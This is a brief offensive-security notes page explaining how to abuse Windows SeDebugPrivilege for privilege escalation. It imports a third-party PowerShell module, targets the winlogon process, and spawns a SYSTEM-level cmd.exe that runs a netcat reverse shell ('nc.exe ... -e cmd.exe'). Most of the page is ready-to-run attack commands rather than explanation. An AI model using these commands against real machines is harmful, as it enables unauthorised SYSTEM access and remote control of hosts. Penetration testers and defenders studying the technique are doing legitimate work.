> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/privilege-escalation/sedebugprivilege.md).

# SeDebugPrivilege

Most powerful privilege you can get. Easy system shell

You can update update proc attribute list with this privilege and can elevate privileges.

Use the module below to do that.

* <https://github.com/decoder-it/psgetsystem/blob/master/psgetsys.ps1>

```powershell
import-module .\psgetsys.ps1
```

Find pid of a process that is privileged.

```powershell
Get-Process winlogon
```

Use that pid to attach & execute commands

```powershell
[MyProcess]::CreateProcessFromParent("552","c:\windows\system32\cmd.exe", "/c c:\windows\temp\nc.exe 127.0.0.1 4444 -e cmd.exe")
```